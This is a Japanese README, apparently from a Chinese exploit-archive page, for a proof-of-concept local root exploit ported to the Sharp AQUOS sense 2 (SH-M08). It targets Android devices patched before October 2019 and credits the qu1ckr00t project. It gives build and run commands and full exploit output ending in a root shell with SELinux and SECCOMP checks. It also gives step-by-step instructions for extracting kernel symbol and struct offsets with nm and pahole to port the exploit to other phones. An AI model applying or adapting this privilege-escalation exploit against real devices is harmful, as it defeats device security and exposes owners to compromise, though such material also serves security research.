关联漏洞
介绍
2019 年 10 月より前のセキュリティパッチが当たった Android 端末で root 権限を取得する概念実証コードの AQUOS sense 2(SH-M08)移植版です。
# 動作環境
以下の OS バージョンで動作を確認しています。他のバージョンや他の機種で動かす場合は「移植方法」の章に従って移植してください。
```
[ro.build.date]: [2019年 3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: [01.00.02]
[ro.build.fingerprint]: [SHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys]
[ro.build.id]: [S3200]
[ro.build.product]: [Anasui]
```
# ビルド方法
`aarch64-linux-android21-clang -pie poc.c -o poc`
# 一時 root の取得方法
```bash
$ adb push poc /data/local/tmp
$ adb shell
SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff |.........5>Z....|
00000080 70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff |p%.......%......|
00000090 78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00 |x>..............|
000000a0 00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00 |................|
000000b0 e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff |.........>......|
000000c0 88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000 19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000010 d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000020 d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
00000000 00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
init->security_cred
00000000 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
current->security_cred
00000000 ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
Spawning shell!
SH-M08:/ #
```
# 移植方法
## カーネルのバイナリを入手する
今端末で動いているカーネルを入手します。方法は以下の2つです
1. OTA から抽出
OTA アップデート内に boot.img や recovery.img があればそこから入手します。現在使っているバージョンと同じファイルであることを確認してください。
以下のツールを使用して Google OTA を抽出することも可能です。
https://github.com/mouseos/android-checkin-py.git
boot.img などからは abootimg で zImage を抽出できます。
zImage は extract-vmlinux で vmlinux に変換できます。
2. カーネルをビルドする
公式が公開しているカーネルソースをビルドします。defconfig は完全に今動いているデバイスと同じものを使用してください。可能な限りビルド時にコードをいじってはいけません。
ビルド完了後 vmlinux が作成されるはずです。
## 必要なオフセットを抜き出す
1. まずは nm コマンドを用いて以下のオフセットを探し出します。
```bash
$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing
```
2. 以下の計算式で定数を求めます
`{各オフセットの値}-{_headの値}`
例えば上記の場合定数は以下の通りになります
| 定数名 | オフセット値 | オフセット値-\_head の値 |
| :-------------------------- | :----------------- | :----------------------- |
| SYMBOL\_\_init_user_ns | 0xffffff8009c225d8 | 0x1BA25D8 |
| SYMBOL\_\_init_task | 0xffffff8009c16000 | 0x1B96000 |
| SYMBOL\_\_init_uts_ns | 0xffffff8009c15dc0 | 0x1B95DC0 |
| SYMBOL\_\_selinux_enforcing | 0xffffff8009de2000 | 0x1D62000 |
```c
#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0
#define SYMBOL__selinux_enforcing 0x1D62000
```
3. 次に構造体のオフセットを pahole コマンドで探し出します
```bash
$ pahole -C task_struct vmlinux | grep -E ' mm;'
struct mm_struct * mm; /* 1336 8 */
```
1336 を 16 進数にすると 0x538
よって`#define OFFSET__task_struct__mm 0x538`
```bash
$ pahole -C task_struct vmlinux | grep -E ' cred;'
const struct cred * cred; /* 1944 8 */
```
1944 を 16 進数にすると 0x798
よって`#define OFFSET__task_struct__cred 0x798`
```bash
$ pahole -C mm_struct vmlinux | grep ' user_ns;'
struct user_namespace * user_ns; /* 752 8 */
```
752 を 16 進数にすると 0x2f0
よって`#define OFFSET__mm_struct__user_ns 0x2F0`
## トラブルシューティング
### pahole: file 'vmlinux' has no supported type information.
```
$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.
```
vmlinux に pahole で解析するために必要な情報が入っていません。この場合は解析不能なため、自分でビルドしたメーカーが公開しているカーネルを使ってください。
### 端末がクラッシュする
どこかのオフセットが誤っています。
### 動かない
セキュリティパッチが 2019 年 10 月以降の OS では動作しません。
# 著作情報
## qu1ckr00t
このコードは Grant H 氏が作成した POC をベースに開発しています
https://github.com/grant-h/qu1ckr00t
文件快照
[4.0K] /data/pocs/1fdee4006d1f7d3b93783b815058225ca339a674
├── [ 15K] poc.c
└── [9.0K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。